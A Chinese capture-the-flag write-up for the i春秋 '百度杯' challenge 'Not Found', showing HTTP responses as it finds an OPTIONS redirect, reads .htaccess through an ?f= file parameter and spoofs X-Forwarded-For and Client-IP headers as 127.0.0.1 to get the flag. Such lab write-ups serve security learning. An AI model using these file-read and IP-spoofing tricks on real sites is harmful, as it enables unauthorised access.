i春秋 “百度杯”CTF比赛十月场Not Found

https://www.ichunqiu.com/battalion?t=1&r=0

这道题目考察的是HTTP的几种请求方法，当我们使用GET方法请求网站根目录时，会出现404错误，在返回页面中出现X-Method字段，值为haha，其实这就是在提示我们考虑请求方法，HTTP的请求方法一共就那么几种，我们挨个试，当试到OPTIONS方法的时候，出现了这个页面：

HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:01:25 GMT
Content-Type: text/html
Content-Length: 220
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Location: ?f=1.php

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /404.php was not found on this server.</p>
</body></html>Not allowed file

Location字段为我们指了一条明路，在网站根目录后加上?f=1.php，继续访问：

HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:03:04 GMT
Content-Type: text/html
Content-Length: 79
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Location: ?f=1.php

<?php 
	$msg = "not here";
	$msg .= PHP_EOL;
	$msg .="plz trying";
	echo $msg;

改变参数，替换成index.php、flag.php，均无法访问

HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:03:49 GMT
Content-Type: text/html
Content-Length: 16
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Location: ?f=1.php

Not allowed file

在Appache搭建的网站中，根目录下存在.htaccess文件，我们尝试着访问一下:

HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:04:58 GMT
Content-Type: text/html
Content-Length: 94
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Location: ?f=1.php

RewriteEngine On
RewriteBase /
RewriteRule ^8d829d8568e46455104209db5cd9228d.html$ 404.php [L]

然后我们顺藤摸瓜，去访问8d829d8568e46455104209db5cd9228d.html

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 24 Sep 2018 03:05:48 GMT
Content-Type: text/html
Content-Length: 22
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19

ip incorrect ???XFF???

提示说我们的客户IP不正确，去更改X-Forward-For字段的值，更改为本地客户127.0.0.1

结果还是不行，我们换另一个字段client-ip，成功得到flag

i春秋 “百度杯”CTF比赛 十月场Not Found

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i春秋 “百度杯”CTF比赛十月场Not Found